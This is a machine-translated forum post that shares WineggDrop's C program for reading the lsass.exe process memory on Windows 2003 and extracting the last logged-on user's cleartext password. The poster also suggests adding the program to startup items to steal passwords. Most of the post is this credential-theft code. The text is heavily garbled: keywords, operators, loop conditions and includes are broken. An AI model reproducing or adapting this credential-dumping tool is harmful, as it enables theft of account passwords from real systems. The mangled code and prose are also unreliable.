In fact, this method has been discovered, and the one I wrote before participating in the Security Focus Summit About the paper from memory (later Ice brother to face the face, as an alternative issue). At that time, it was very unoccupied, found in the LSASS process to store the password of the most recently landed administrator, and it is clear. However, it was not found on other systems, so did not publish it at the time. I saw that WineggDrop was posted on the code, I wrote very complete, turned over, let's take a look.
One thing to note this, the first-stored password is the password of the most recently landed user, relative to "Localsystem Remote Procedure Call (RPC)" offset, Wineggdrop brothers found "02 00 00 00 00 00 00 00 00 00" 00 ", then the UNICODE data is a clear text password. There are usually two places in the LSASS process, "Localsystem Remote Procedure Call (RPC)". But the password is only the first place.
Secondly, if you want to do a way to steal password, you will be a program to join the startup item. It is definitely the password of the user when executed. ^ _ ^
Thank you again WineggdroP brother:
// ******************************************************** ***************************************
// Version: v1.0
// CODER: Wineggdrop
// Date Release: 12/15/2004
// purpose: To Demonstrate Searching Logon User Password On 2003 Box, The Method
// use is pretty unwise, but this may be the only way to review the
// Logon User's Password On Windows 2003.
// Test Platform: Windows 2003
// compiled on: VC 6.0
// ******************************************************** ***************************************
#include
#include
#include
#define baseaddress 0x002b5000 // The base memory address to search; the password may be located before the address or far more from this address, Which Causes the result unreliable
Char password [MAX_PATH] = {0}; // Store The Found Password
// Function Prototype Declaration
/ / -------------------------------------------------------------------------------------------- -------------------------------------------------- ----
Bool Findpassword (DWORD PID);
INT Search (CHAR * Buffer, Const Uint Nsize);
DWORD getlsasspid ();
BOOL IS2003 ();
/ / -------------------------------------------------------------------------------------------- -------------------------------------------------- ---- // end of fucntion prototype declaration
int main ()
{
DWORD PID = 0;
Printf ("Windows 2003 Password Viewer V1.0 By WineggDrop / N / N");
IF (! IS2003 ()) // Check Out if The Box IS 2003
{
Printf ("The Program Can't Only Run On Windows 2003 Platform / N");
Return -1;
}
PID = getlsassspid (); // get the lsass.exe pid
IF (PID == 0) // Fail to Get Pid if returning zerom
{
Return -1;
}
Findpassword (PID); // Find The Password from lsass.exe memory
Return 0;
}
// end main ()
/ / -------------------------------------------------------------------------------------------- ------------------------------------
// purpose: search the memory & try to get the password
// Return Type: int
// Parameters:
// in: char * buffer -> The memory buffer to search
// out: const uint nsize -> The size of the memory buffer
// Note: The Program Tries To Locate The Magic String "Localsystem Remote Procedure",
// Since the Password Is Near The Above Location, But it's not always true That
// We Will Find The Magic String, Or Even We Find It, The Password May Be Located
// at some other place.we Only Look for Luck
/ / -------------------------------------------------------------------------------------------- ------------------------------------
INT Search (Char * Buffer, Const Uint Nsize)
{
UINT OFFSET = 0;
UINT I = 0;
UINT J = 0;
Uint count = 0;
IF (buffer == null)
{
Return -1;
}
For (i = 0; i { / * The below is to find the magic string, why so complicated? That Will Than Word Is Not Separated with a space, But with a ending character, SO Any search api like stratthe magic string, we have to do it manually and slowly * / IF (buffer [i] == 'l') { OFFSET = 0; IF (& buffer [i offset], "localsystem", strlen ("localsystem") == 0) { OFFSET = Strlen ("Localsystem") 1; IF (& Buffer [I Offset], "Remote", Strlen ("Remote") == 0) { Offset = Strlen ("remote") 1; IF (& Buffer [i offset], "procedure", strlen ("procedure") == 0) { Offset = Strlen ("Procedure") 1; IF (& buffer [i offset], "call", strlen ("call") == 0) { i = offset; Break; } } } } } } IF (i { ZeromeMory (Password, Sizeof (Password)); For (; i { IF (Buffer [I] == 0x02 && buffer [i 1] == 0 && buffer [i 2] == 0 && buffer [i 3] == 0 && buffer [i 4] == 0 && Buffer [i 5] == 0 && buffer [i 6] == 0) { / * The below code is to retrieve the password.since the string is in unicode format, sowe Will do it in That Way * / J = i 7; For (; j { IF (Buffer [J]> 0) { Password [count ] = buffer [j]; } Else { Break; } } Return I 7; // One Flag To Indicate We Find the Password } } } Return -1; // Well, We Fail to Find The Password, And this always happens } // End Search / / -------------------------------------------------------------------------------------------- ------------------------------------ // purpose: to get the lsass.exe pid // Return Type: DWORD // Parameters: None / / -------------------------------------------------------------------------------------------- ------------------------------------ DWORD getlsasspid () { Handle HProcessSnap; Handle HProcess = NULL; Processentry32 PE32; DWORD PID = 0; HProcessSnap = CreateToolHelp32Snapshot (TH32CS_SNAPPROCESS, 0); IF (HProcessSnap == INVALID_HANDLE_VALUE) { Printf ("Fail to Create Snap Shot / N); Return 0; } PE32.dwsize = sizeof (ProcesSsentry32); IF (! Process32First (HProcessSnap, & PE32)) { CloseHandle (HProcessSnap); // Must Clean Up The Snapshot Object! Return 0; } DO { IF (strcmpi (pe32.szexefile, "lsass.exe") == 0) { PID = pe32.th32processid; Break; } } while (Process32Next (HProcessSnap, & PE32)); CloseHandle (HProcessSnap); Return PID; } // end getlsasspid () / / -------------------------------------------------------------------------------------------- ------------------------------------ // purpose: to find the password // Return Type: Boolean // Parameters: // in: DWORD PID -> The lsass.exe's pid / / -------------------------------------------------------------------------------------------- ------------------------------------ Bool Findpassword (DWORD PID) { Handle HProcess = NULL; CHAR BUFFER [5 * 1024] = {0}; DWORD BYTEGET = 0; Int found = -1; HProcess = OpenProcess (Process_VM_Read, False, PID); // Open Process IF (hprocess == null) { Printf ("Fail to Open Process / N); Return False; } IF (! ReadProcessMemory (HProcess, (Pvoid) Baseaddress, Buffer, 5 * 1024, & Byteget) // read the memory from lsass.exe { Printf ("Fail to Read Memory / N"); CloseHandle (HProcess); Return False; } CloseHandle (HPROCESS); Found = Search (Buffer, Byteget); // Search The Password IF (Found> = 0) // WE May Find The Password { IF (strlen (password> 0) // Yes, We Find the Password Even We don't know et f password is correct or not { Printf ("Found Password AT # 0x% x -> /"% s / "/ n", found baseaddress, password); } } Else { Printf ("Fail to Find The Password / N); } Return True; } // end findpassword / / -------------------------------------------------------------------------------------------- ------------------------------------ // purpose: Check if the box is Windows 2003 // Return Type: Boolean // Parameters: None / / -------------------------------------------------------------------------------------------- ------------------------------------ BOOL IS2003 () { OsversionInfoEx Osvi; Bool B0sVersionInfoEx; ZeromeMory (& OSVI, SIZEOF (OsversionInfoEx); Osvi.dwosversionInFoSize = SizeOf (OsversionInfoEx); IF (! (b0sversioninfoex = getversionex (osversioninfo *) & osvi)))))) { Osvi.dwosversionInfosize = SizeOf (OsversionInfo); } Return (Osvi.dwmajorversion == 5 && Osvi.dwminorVersion == 2); } // end is2003 () // end of file Give everyone a clear picture, where the red part is a plain text password (this figure is intercepted in WinHex). . . .